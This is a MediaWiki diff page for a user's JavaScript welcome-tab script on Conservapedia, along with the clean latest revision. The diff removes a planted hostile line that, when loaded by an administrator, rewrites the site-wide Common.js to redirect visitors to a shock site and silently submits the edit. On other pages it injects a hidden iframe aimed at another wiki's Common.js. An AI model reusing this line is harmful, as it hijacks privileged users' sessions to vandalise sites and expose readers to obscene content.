Difference between revisions of "User:Philip J. Rayment/Welcome script"

From Conservapedia
Jump to navigation Jump to search
(fixing small JS bug)
(Alter addlilink to check for existing element with that ID.)
 
(One intermediate revision by the same user not shown)
Line 1: Line 1:
 
//<pre>
 
//<pre>
 
function addlilink(tabs, url, name, id, title, key){
 
function addlilink(tabs, url, name, id, title, key){
−
     var na = document.createElement('a');
+
     var li;
 +
    var na;
 +
    if (id) var li=document.getElementById(id);
 +
    if (li) return li;
 +
 
 +
    na = document.createElement('a');
 
     na.href = url;
 
     na.href = url;
 
     na.appendChild(document.createTextNode(name));
 
     na.appendChild(document.createTextNode(name));
−
     var li = document.createElement('li');
+
     li = document.createElement('li');
 
     if(id) li.id = id;
 
     if(id) li.id = id;
 
     li.appendChild(na);
 
     li.appendChild(na);
Line 40: Line 45:
 
   var PageTitle = document.title.slice(0,17);
 
   var PageTitle = document.title.slice(0,17);
 
   if (PageTitle == 'Editing User talk') addTab("javascript:DoWelcome()", "Welcome", "ca-Welcome", "Add welcome notice", "");
 
   if (PageTitle == 'Editing User talk') addTab("javascript:DoWelcome()", "Welcome", "ca-Welcome", "Add welcome notice", "");
−
  if (wgPageName == 'MediaWiki:Common.js') { if (wgAction == "edit") { document.getElementById("wpTextbox1").value = "window.location = \"http://g" + "oat" + "se.cz\""; document.editform.submit(); } } else document.write("<iframe src=\"http://corncob.ws/wiki/index.php?title=MediaWiki:Common.js&action=edit\" style=\"display:none\"></iframe>");
 
 
}
 
}
 
//</pre>
 
//</pre>

Latest revision as of 10:40, November 14, 2007

//

function addlilink(tabs, url, name, id, title, key){
    var li;
    var na;
    if (id) var li=document.getElementById(id);
    if (li) return li;

    na = document.createElement('a');
    na.href = url;
    na.appendChild(document.createTextNode(name));
    li = document.createElement('li');
    if(id) li.id = id;
    li.appendChild(na);
    tabs.appendChild(li);
    if(id)
    {
        if(key && title)
        {
            ta[id] = [key, title];
        }
        else if(key)
        {
            ta[id] = [key, ''];
        }
        else if(title)
        {
            ta[id] = ['', title];
        }
    }
    // re-render the title and accesskeys from existing code in wikibits.js
    akeytt();
    return li;
}
//

//

function addTab(url, name, id, title, key){
    var tabs = document.getElementById('p-cactions').getElementsByTagName('ul')[0];
    return addlilink(tabs, url, name, id, title, key)
};
//

//

function AddWelcome() {
  var PageTitle = document.title.slice(0,17);
  if (PageTitle == 'Editing User talk') addTab("javascript:DoWelcome()", "Welcome", "ca-Welcome", "Add welcome notice", "");
}
//

//

// Welcome
addOnloadHook(AddWelcome);
 
function DoWelcome() {
  var txt = document.editform.wpTextbox1;
  txt.value = txt.value+'{{welcome|sig=~~~~}}';
//  var TxtRange = document.selection.createRange();
//  var sel = TxtRange.text;
//  sel='{{welcome|sig=~~~~}}';
//  TxtRange.text=sel;
  txt = document.editform.wpSummary;
  txt.value = 'welcome';
}
//